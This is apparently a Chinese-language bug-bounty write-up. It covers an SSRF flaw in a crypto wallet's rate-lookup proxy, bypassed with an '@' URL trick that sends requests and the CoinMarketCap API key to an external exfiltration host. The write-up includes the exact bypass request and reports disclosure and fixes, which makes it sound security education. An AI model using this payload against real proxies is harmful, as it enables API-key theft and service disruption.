利用SSRF漏洞窃取API密钥:一次真实攻击案例分析

本文详细分析了如何通过服务器端请求伪造(SSRF)漏洞绕过URL验证机制,成功窃取目标网站的CoinMarketCap API密钥。文章展示了完整的攻击链,包括漏洞发现、利用技巧和实际影响评估,为安全研究人员提供了实用的SSRF攻击案例参考。

利用SSRF漏洞泄露秘密API密钥

服务器端请求伪造(SSRF)是一种安全漏洞类型,其本质是诱骗服务器向非预期的主机发送网络请求。在某些情况下(例如Scott Helme的安全头工具),允许用户触发从某些后端到任意主机的HTTP请求是一项功能。但在许多其他情况下,这是一个严重的安全漏洞,可能使攻击者对易受攻击服务器背后的组织造成严重破坏。

代理端点的发现

为了便于钱包操作,该应用为用户提供当前汇率信息,这些汇率会在UI中定期刷新。通过Burp代理工具观察网络流量时,发现了以下形式的请求:

1
https://proxy.example.org/https://pro-api.coinmarketcap.com/v1/cryptocurrency/quotes/latest?symbol=BTC&convert=USD

URL路径中包含另一个URL的格式引起了注意,这看起来是潜在的漏洞点。

代理的角色解析

查阅CoinMarketCap API文档后发现,该服务禁止在客户端使用JavaScript发起HTTP请求,这是为了保护API密钥不被用户窃取。因此目标网站需要通过自己的后端服务来路由API调用。

1
客户端 --> proxy.example.org --> pro-api.coinmarketcap.com

意外的绕过方法

测试发现,当提交以https://pro-api.coinmarketcap.com开头的URL时,代理会返回502 Bad Gateway响应,而不是400 Bad Request。这表明代理仅检查用户提供的URL是否具有预期前缀。

利用RFC 3986规范中@字符在URL授权部分的作用,可以通过以下方式绕过验证:

1
2
GET /https://pro-api.coinmarketcap.com@exfil.jub0bs.com HTTP/1.1
Host: proxy.example.org

成功利用与信息泄露

攻击成功后,服务器日志显示请求包含以下头部信息:

  • User-Agent: node-fetch/1.0
  • X-CMC_PRO_API_KEY: [目标API密钥]

通过窃取的API密钥,确认目标使用的是CoinMarketCap的Startup计划。攻击者可在12分钟内耗尽目标的每日信用额度,导致应用无法获取最新汇率数据。

漏洞修复与奖励

向目标报告发现后,建议他们修复代理的URL验证并撤销API密钥。目标及时响应并奖励了价值约1000美元的加密货币代币。

安全建议

对于开发者:

  • 不要轻视URL解析的安全性
  • 使用经过验证的URL解析库而非自定义字符串处理函数

对于安全研究人员:

  • SSRF漏洞与拙劣的URL解析密切相关
  • 建议观看Orange Tsai在DEF CON 25的演讲深入了解

关键词: SSRF, URL解析, 信息泄露, 加密货币
字数: 1775
日期: 2020-06-22

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计